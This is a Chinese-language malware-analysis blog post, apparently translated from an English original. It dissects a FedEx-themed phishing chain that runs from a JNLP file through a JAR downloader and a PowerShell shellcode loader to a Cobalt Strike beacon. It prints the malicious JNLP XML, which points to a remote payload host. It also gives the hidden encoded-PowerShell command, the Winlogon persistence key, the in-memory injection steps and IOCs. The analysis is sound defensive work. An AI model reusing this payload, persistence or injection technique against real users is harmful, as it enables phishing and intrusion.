今天我们将研究一个由多阶段组成的恶意软件,它的最终目的依然是与Cobalt Strike的C2服务器建立连接。我们将研究此样本所使用的一些酷炫的技术吗,在浏览VirusTotal上的样本时,我碰巧遇到了它的第一阶段网络钓鱼的附件,发现贼因吹斯听。因为通常情况下我们很难见到JNLP格式的附件,让我开始一探究竟把。
阶段1:依赖分析
JNLP文件是一个java web文件,单击文件时,应用程序javaws.exe会尝试加载并执行。javaws是java运行环境的一部分,用于java应用程序提供internet功能。JNLP文件可以用于允许的远程服务器上托管的应用程序在本地启动。但是值得注意的是,为了能方便通过JNLP进行钓鱼,目标机器机器上必须要安装java环境。
它们通常非常简单,并不难分析。直接将文件拖到文本编辑器里,就可以轻松查看jnlp的内容。如下面的xml代码,我们可以看到JNLP文件将用于在hxxp://fedex-tracking.fun域种加载和执行FedEx_Delivery_invoice.jar
<?xml version="1.0"encoding="utf-8"?> <jnlpspec="1.0+"codebase="http://fedex-tracking.fun" href="FedEx_Delivery_invoice.jnlp"> <information> <title>Federal Express Service</title> <vendor>Federal Express</vendor> <homepagehref="www.fedex.com"/> <description>Federal Express documents online.</description> </information> <security> <all-permissions/> </security> <resources> <j2seversion="1.6+"/> <jarhref="FedEx_Delivery_invoice.jar"/> </resources> <application-descmain-class="FedEx_Service"> </application-desc> </jnlp>
现在我们已经知道它第二阶段的动作,payload的名称和位置,该域名hxxp://fedex-tracking.fun仍在运行中,因此可以尝试下载可以FedEx_Delivery_invoice.jar。下载完毕我们可以直接使用JD-GUI对它进行分析。JD-GUI是一个简单的工具,可以反编译并查看到jar文件的代码。(在打开JD-GUI后,我将代码复制到了Atom,因为我喜欢它突出的显示语法)
从上面的代码中可以看到 FedEx_Delivery_invoice.jar 将尝试从域名:hxxp://fedex-tracking[.]press 上下载fedex912.exe,该可执行文件将存放在Windows临时目录中,然后在该目录中执行该文件。这个jar文件还会加载合法的FedEx网站信息,使用户确信他们下载的文件是合法的。
截断2 :可执行文件分析
不过遗憾的是,在我撰写该文章时,托管域名不在处于活动状态,这意味着我不能下载到fedex912.exe。但是可以下载VirusTotal的示例。我在我的分析环境里使用进程监视和regshot运行可执行文件,首先fedex912.exe将一个名为gennt.exe的新文件释放到C:\ProgramData\9ea94915b24a4616f72c\目录。该文件只是它自己的一个副本,将副本复制到一个隐藏目录中,然后删除自身。复制到隐藏目录的目的通常是因为正常情况下该类目录是不可见的。
我使用regshot在运行可执行文件后,对注册表进行了前后对照比较。下面的条目显示了恶意软件的持久性机制。gennt.exe将可执行文件添加到注册表中确保每次windows重新启动时都可以启动恶意软件。
HKU\S-1-5-21-1245055219-2462972176-1415829347-1001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell:"explorer.exe, "C:\ProgramData\9ea94915b24a4616f72c\gennt.exe""
对可执行文件进行研究后,我发现它应该是先启动cmd然后在启动Powershell,但是运行文件时,在我的计算机上没有复现。造成这种情况的原因可能有很多种,其中一种可能是该恶意软件有反分析功能,并且可以检测虚拟机防止分析。由于我当前的环境尚未设置可以对抗可以识别vm的恶意软件,因此我将作弊一下,在Anyrun上运行一下。在AnyRun分析中,我們可以看到cmd命令:”C:\Windows\System32\cmd.exe” /c powershell -nop -w hidden -encodedcommand”,然后再将base64的命令解析到powershell。AnyRun分析:
我们可以看到该命令使用了base64进行了编码,进一步分析我们还可以看到它不仅编码了还被Gunzip压缩了。
使用CyberChef再次解碼base64并解压。
解码以后,终于有了人能看懂的东西……这里发生了很多有意思的事情。powershell脚本实际上包含了三个块,其中第一个块具有几个功能,第二块带有base64编码和”for“语句。最后一块带有一些已经定义的变量和”if”语句。我们应该首先解决base64 Encoded块,然后在处理powershell脚本的其余部分。
注意:我不得不将代码截图分成两部分,因为代码太多一张图根本放不下,如不截图直接放代码,又会导致我的网站被标记成恶意网址,你可以在本文底部西在代码示例。
立即引起注意的是“ Powershell腳本第2部分”图像中Base64编码文本下方的“ for”语句。
“for”语句表示Base64块是用密钥为35的异或加密的,我们也可以使用CyberChef解密。
我们可以看到解密出的内容很多不是人话(……不可读的)但是我们还是看到了像IP地址和User-Agent的信息。其余没法判断是不是shellcode的部分,让我们尝试做一些基本的shellcode分析看看有没有效。
我使用CyberChef将上面的代码转换为十六进制。
、
有了十六进制代码后,可以保存为.dat文件,接下来使用scdbg分析一下。这个工具可以模拟windows的基本行为,并且通过模拟windowsAPI环境拦截windows API调用的shellcode。
將.dat文件解析到工具後,給出以下輸出。shellcode加載wininet API庫並導入兩個用於建立Internet連接的函數。我們可以看到已經建立了到前面通過端口8080看到的IP地址的連接。
载入.dat文件以后,给出以下输出。shellcode加载wininetAPI库并导入了两个用于联网的函数。我们可以看到已经通过8080端口建立的与刚才看到的IP地址的连接。
由于这段shellcode不导入其他功能,因此,这看起来只是一个简单的beacon程序。可以与远端ip建立连接,然后接收c2服务器端发送的命令。c2 ip 地址是一个乌克兰的地址。22 80 8080 端口都开放。
使用PowerShell注入內存
我们查看了base64编码块,并确定它是一个简单的shellcode,用于与C2服务器建立连接,我们仍然要回一个问题:如何执行shellcode?
通过powershell脚本其余部分,我们可以看到shellcode是直接注入到内存中的,下面给出基本摘要:
1 脚本从system.dll导入GetModuleHandle和GetProcAddress两个函数,并通过直接从内存中导入,因此它不会从磁盘加载。这些都是Windows UnsafeNativeMethods。以这种方式加载dll的方法称为运行时动态链接。(关于动态连接更多信息:https://docs.microsoft.com/en-us/windows/win32/dlls/using-run-time-dynamic-linking) 2 这些函数用于"var_va"分配内存空间,该空间用于存放shellcode。 3 脚本用于对shellcode的解码和解密 4 VirtualAlloc将shellcode函数写入内存空间以进行后期调用,在当前情况下使用powershell调用,因此shellcode实际上是被注入到了powershell使用的内存空间中。 5 执行shellcode 并于Cobalt Strike的C2服务器建立连接。
什么是Cobalt Strike
。。。AnyRun将powershell的行为特征归类与Cobalt Strike,PowerShell脚本和shellcode与Cobalt Strike Beacon的配置文件和行为相匹配。Cobalt Strike是用于对手模拟和红队行动的工具,该工具的关键功能是能够生成恶意软件的有效payload和C2通道。我们看到的Cobalt StrikeBeacon是无文件的,这意味着powershell脚本将Beacon直接注入到了内存,并不会接触磁盘。一旦在设备上出现了Cobalt StrikeBeacon,攻击者就可有了可以执行其他动作,包括窃取令牌和凭据横向移动等能力。
结语:
这样这篇文章就结束了,希望对你能得到对你有用的信息。这是无文件恶意软件的一个简单示例,对于那些可能对该领域不太熟悉的人,我认为是一个很好的介绍,当然这也是我的感兴趣的主题,我想进一步研究,因此希望将来有更多关于此类信息的文章。
—————————————————————————–
IOCs
First stage: FedEx_Delivery_invoice.jnlp SHA256: 7d187c34512571b45ffc2285414425b2e8963a914765582f9ea76ecc2791b45e hxxp://fedex-tracking[.]fun Second stage: FedEx_Delivery_invoice.jar SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 hxxp://fedex-tracking[.]press Third stage: fedex912.exe / gennt.exe SHA256: ba5fa7cc1a918b866354f4a5d9d92ceb3965ff81eb96e1608f190bccf12d38e6 Run Location: %PROGRAMDATA%\9ea94915b24a4616f72c\gennt.exe Persistence Registry Key: HKU\S-1-5-21-1245055219-2462972176-14158293471001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell: “explorer.exe, “C:\ProgramData\9ea94915b24a4616f72c\gennt.exe C2 Stage: 176[.]103[.]56[.]89
- Download Code Samples (the password is Infected)
- AnyRun Analysis
- Using Run-Time Dynamic Linking
- scdbg Download
- CyberChef
- Cobalt Strike Beacon
原文地址:https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/
来源:freebuf.com 2020-07-25 00:53:00 by: p1r3t4
请登录后发表评论
注册